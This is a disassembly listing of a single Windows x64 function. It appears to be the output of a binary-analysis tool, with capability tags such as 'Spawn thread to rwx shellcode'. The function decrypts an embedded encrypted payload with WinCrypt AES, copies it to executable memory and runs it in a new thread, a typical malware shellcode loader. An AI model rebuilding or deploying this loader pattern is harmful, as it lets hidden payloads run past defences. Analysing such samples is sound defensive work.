Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create new key via cryptacquirecontext
Create thread
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Execute shellcode via indirect call
Hash data via wincrypt
Initialize hashing via wincrypt
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x140019008]
xor rax, rsp
mov qword [rbp + 0x90], rax
movdqa xmm0, xmmword [0x140016840]
lea rcx, str.kernel32.dll
movdqu xmmword [rbp + 0x80], xmm0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x60], 0x82bdcb48
mov dword [rsp + 0x64], 0xfebb8fcb
mov dword [rsp + 0x68], 0x622b4e70
mov dword [rsp + 0x6c], 0x3cb929e4
mov dword [rsp + 0x70], 0x4cca3807
mov dword [rsp + 0x74], 0xc5b7f1d3
mov dword [rsp + 0x78], 0x7c6377af
mov dword [rsp + 0x7c], 0xa2a660fa
mov dword [rbp - 0x80], 0xfe27dbc8
mov dword [rbp - 0x7c], 0x2fd92514
mov dword [rbp - 0x78], 0x4c809477
mov dword [rbp - 0x74], 0x445566
mov dword [rbp - 0x70], 0x8f88d675
mov dword [rbp - 0x6c], 0xd320aa67
mov dword [rbp - 0x68], 0xdb8af1b4
mov dword [rbp - 0x64], 0x8003fae9
mov dword [rbp - 0x60], 0x71910f
mov dword [rbp - 0x5c], 0xc9362285
mov dword [rbp - 0x58], 0xa7e14c89
mov dword [rbp - 0x54], 0x97d5db06
mov dword [rbp - 0x50], 0xe4f17054
mov dword [rbp - 0x4c], 0x7125c5e3
mov dword [rbp - 0x48], 0x61767f2c
mov dword [rbp - 0x44], 0x6e27ecdc
mov dword [rbp - 0x40], 0x5fae7d2
mov dword [rbp - 0x3c], 0xe3cb168f
mov dword [rbp - 0x38], 0xaded0dde
mov dword [rbp - 0x34], 0x90bffdbc
mov dword [rbp - 0x30], 0x1d56e42b
mov dword [rbp - 0x2c], 0x3accb0c1
mov dword [rbp - 0x28], 0x4c9acd1c
mov dword [rbp - 0x24], 0xa9f67950
mov dword [rbp - 0x20], 0x6a4649ac
mov dword [rbp - 0x1c], 0xd71789ce
mov dword [rbp - 0x18], 0x1027a9db
mov dword [rbp - 0x14], 0xe56e0db5
mov dword [rbp - 0x10], 0x1cc6c1ee
mov dword [rbp - 0xc], 0x9645e126
mov dword [rbp - 8], 0x6cc1376e
mov dword [rbp - 4], 0x865b0bf6
mov dword [rbp], 0x88014e61
mov dword [rbp + 4], 0xff085e8
mov dword [rbp + 8], 0x21d59b88
mov dword [rbp + 0xc], 0xb77b462
mov dword [rbp + 0x10], 0x9af48a25
mov dword [rbp + 0x14], 0x564734d9
mov dword [rbp + 0x18], 0x53aaf80c
mov dword [rbp + 0x1c], 0x1f0ccc8b
mov dword [rbp + 0x20], 0x8e651860
mov dword [rbp + 0x24], 0x228a9551
mov dword [rbp + 0x28], 0xd119a778
mov dword [rbp + 0x2c], 0x1f74e077
mov dword [rbp + 0x30], 0xed1d9d2e
mov dword [rbp + 0x34], 0x8213ee35
mov dword [rbp + 0x38], 0x80a431cc
mov dword [rbp + 0x3c], 0xe7496483
mov dword [rbp + 0x40], 0xd132b968
mov dword [rbp + 0x44], 0xd93fda8e
mov dword [rbp + 0x48], 0x529d3177
mov dword [rbp + 0x4c], 0xc73b9ca7
mov dword [rbp + 0x50], 0x7f751551
mov dword [rbp + 0x54], 0xad6786ad
mov dword [rbp + 0x58], 0x8fca308
mov dword [rbp + 0x5c], 0xb7dd7dad
mov dword [rbp + 0x60], 0x5018a656
mov dword [rbp + 0x64], 0x6566b8f7
mov dword [rbp + 0x68], 0x27334cfa
mov dword [rbp + 0x6c], 0x82ecd4be
mov dword [rbp + 0x70], 0xa023f194
mov dword [rbp + 0x74], 0x2b4ea2ec
mov dword [rbp + 0x78], 0x2883ff47
mov dword [rbp + 0x7c], 0x33656823
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.VirtualAlloc
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, 0x120
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call rax
mov r9d, 0x18
mov dword [rsp + 0x30], 0x120
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rsp + 0x40]
mov rbx, rax
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140001358
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140001358
mov rcx, qword [rsp + 0x48]
lea rdx, [rbp + 0x80]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140001358
mov r8, qword [rsp + 0x48]
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x140001358
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rsp + 0x60]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x140001358
mov rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov r8d, 0x120
lea rdx, [rsp + 0x60]
mov rcx, rbx
call fcn.1400033e0
lea r9, [rsp + 0x38]
mov edx, 0x120
mov r8d, 0x20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400013b7
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov r8, rbx
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.1400013f0
mov rbx, qword [rsp + 0x1b0]
add rsp, 0x1a0
pop rbp
ret